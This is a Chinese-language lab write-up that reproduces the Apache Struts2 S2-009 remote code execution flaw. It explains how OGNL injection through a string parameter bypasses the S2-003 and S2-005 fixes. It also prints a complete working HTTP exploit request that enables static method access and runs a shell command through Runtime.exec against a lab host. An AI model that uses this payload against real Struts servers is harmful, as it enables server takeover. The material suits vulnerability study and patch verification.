S2-009 远程代码执行漏洞

S2-009 远程代码执行漏洞

受影响的版本:2.1.0 - 2.3.1.1

详情:http ://struts.apache.org/docs/s2-009.html

参考

该漏洞来源于s2-003、s2-005。如果想了解漏洞的原理,需要阅读s2-005的说明:https ://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

Struts2漏洞分析,文章中提到,引入OGNL的方法可能不仅出现在这个漏洞中,还可能出现在其他Java应用程序中。

Struts2对s2-003的修复方法是禁止静态方法调用。在 s2-005 中,这个限制可以直接通过 OGNL 绕过。对于#号码,使用代码\u0023\43绕过;那么s2-005的修复是禁止\等特殊符号阻止用户提交反斜杠的。

但是,如果example当前操作中接受了一个参数,则该参数将被发送到 OGNL 表达式。所以,我们可以把OGNL表达式代码放在example参数中,然后通过执行/helloword.acton?example=<OGNL statement>&(example)('xxx')=1,绕过特殊字符的防御,如#\

漏洞复现

环境是一个名为.struts2的“功能展示”网站Struts Showcase。我们需要找到一个接受参数的动作,类型是字符串。

先解压S2-009.war。我们可以看到源码在WEB-INF/src目录下,我一般找ajax相关的代码。

找到一个WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Example5Action extends ActionSupport {

private static final long serialVersionUID = 2111967621952300611L;

private String name;
private Integer age;


public String getName() { return name; }
public void setName(String name) { this.name = name; }

public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }

@Override
public String execute() throws Exception {
return SUCCESS;
}
}

代码很简单,接受name参数,调用setName赋值给私有属性this.name,符合我们的需求。然后我们去WEB-INF/src/java/struts-ajax.xml查看URL路由设置:

1
2
3
4
5
6
7
8
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>

我们可以看到name=example5,所以通过访问来访问控制器http://192.168.44.132:8080/ajax/example5.action。然后将 OGNL 漏洞利用代码放入 name 参数并访问 URL:

1
2
3
4
5
6
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: 192.168.44.132:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

image-20220209175900757

POC没有显示,所以我们使用touch /tmp/success命令,发现success文件已经创建,证明expliot成功。

image-20220209175910842

0%